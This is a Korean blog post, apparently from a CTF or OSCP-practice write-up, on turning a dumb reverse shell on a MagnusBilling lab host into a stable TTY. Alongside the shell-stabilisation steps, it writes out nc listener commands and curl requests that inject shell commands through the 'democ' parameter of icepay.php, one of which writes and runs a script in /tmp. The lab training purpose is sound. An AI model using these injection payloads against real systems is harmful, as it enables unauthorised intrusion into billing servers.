reverse shell -> dump shell

agnusdei·2025년 6월 1일

CTF

목록 보기
8/185

OSCP 리버스 쉘 연결 후 상황 분석 및 해결

현재 상황 정확한 분석

상황:

  • ✅ 리버스 쉘 연결은 성공
  • ❌ 터미널이 불안정한 상태
  • ❌ 커서가 깜빡이지 않음
  • ❌ 입력이 제대로 보이지 않음

문제 원인:

bash: cannot set terminal process group (1221): Inappropriate ioctl for device
bash: no job control in this shell
  • 이것은 "dumb shell" 상태
  • TTY가 할당되지 않은 상태
  • 키보드 입력이 제대로 처리되지 않음

단계별 해결 방법 (매우 상세)

1단계: 현재 연결 상태 확인

# 지금 당장 nc 터미널에서 다음을 타이핑하세요
# (화면에 안 보여도 천천히 정확하게 타이핑)

whoami

타이핑 방법:

  • w h o a m i 순서대로 천천히 입력
  • 엔터 키 누르기
  • 결과가 asterisk 나오면 연결 정상

2단계: 쉘 안정화 (가장 중요)

# 다음 명령어를 정확하게 타이핑 (한 글자씩 천천히)
python3 -c 'import pty; pty.spawn("/bin/bash")'

타이핑 순서:
1. p y t h o n 3 (공백) - c (공백)
2. ' (작은따옴표)
3. i m p o r t (공백) p t y ; (공백)
4. p t y . s p a w n ( " / b i n / b a s h " )
5. ' (작은따옴표)
6. 엔터 키

성공하면:

asterisk@ip-10-10-187-169:/var/www/html/mbilling/lib/icepay$ 

이런 프롬프트가 나타나고 커서가 깜빡입니다.

3단계: 환경 설정

# 이제 다음 명령어 입력 (커서가 깜빡이는 상태에서)
export TERM=xterm

4단계: 완전한 TTY 설정

# Ctrl+Z 키를 눌러서 잠시 백그라운드로 보내기
# (Ctrl 키 누른 상태에서 Z 키)

그러면 로컬 터미널로 돌아옵니다:

┌──(root㉿docker-desktop)-[/]
└─# 

로컬 터미널에서 다음 입력:

stty raw -echo; fg

그러면 다시 리버스 쉘로 돌아옵니다.

5단계: 최종 설정

# 리버스 쉘에서 다음 입력
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116

문제 해결 대안 방법

방법 1: 새로운 연결 시도

# 현재 연결 종료 (Ctrl+C)
# 새 리스너 시작
nc -lvnp 4444

# 새 터미널에서 다시 페이로드 실행
curl 'http://10.10.187.169/mbilling/lib/icepay/icepay.php?democ=test;python3 -c "import pty;pty.spawn(\"/bin/bash\")"'

방법 2: 스크립트 방식

# 새 리스너
nc -lvnp 4444

# 스크립트 파일을 타겟에 업로드
curl 'http://10.10.187.169/mbilling/lib/icepay/icepay.php?democ=test;echo "python3 -c \"import pty;pty.spawn(\\\"/bin/bash\\\")\"" > /tmp/shell.sh'

# 스크립트 실행
curl 'http://10.10.187.169/mbilling/lib/icepay/icepay.php?democ=test;bash /tmp/shell.sh'

현재 상황에서 즉시 해야 할 일

1. 지금 당장 nc 터미널에서:

# 천천히 타이핑 (화면에 안 보여도 괜찮음)
python3 -c 'import pty; pty.spawn("/bin/bash")'

2. 안 되면:

# 이것 시도
python -c 'import pty; pty.spawn("/bin/bash")'

3. 그래도 안 되면:

# 이것 시도
/bin/bash -i

상태 확인 방법

정상 상태:

asterisk@ip-10-10-187-169:~$ whoami
asterisk
asterisk@ip-10-10-187-169:~$ pwd
/home/asterisk
asterisk@ip-10-10-187-169:~$ █  # 커서 깜빡임

비정상 상태:

asterisk@ip-10-10-187-169:/var/www/html/mbilling/lib/icepay$ exit
        
# 커서 안 깜빡이고 입력이 이상함

단계별 체크리스트

    1. whoami 입력해서 asterisk 나오는지 확인
    1. python3 -c 'import pty; pty.spawn("/bin/bash")' 실행
    1. 프롬프트가 정상적으로 나타나는지 확인
    1. export TERM=xterm 실행
    1. Ctrl+Z → stty raw -echo; fg 실행
    1. reset 실행
profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글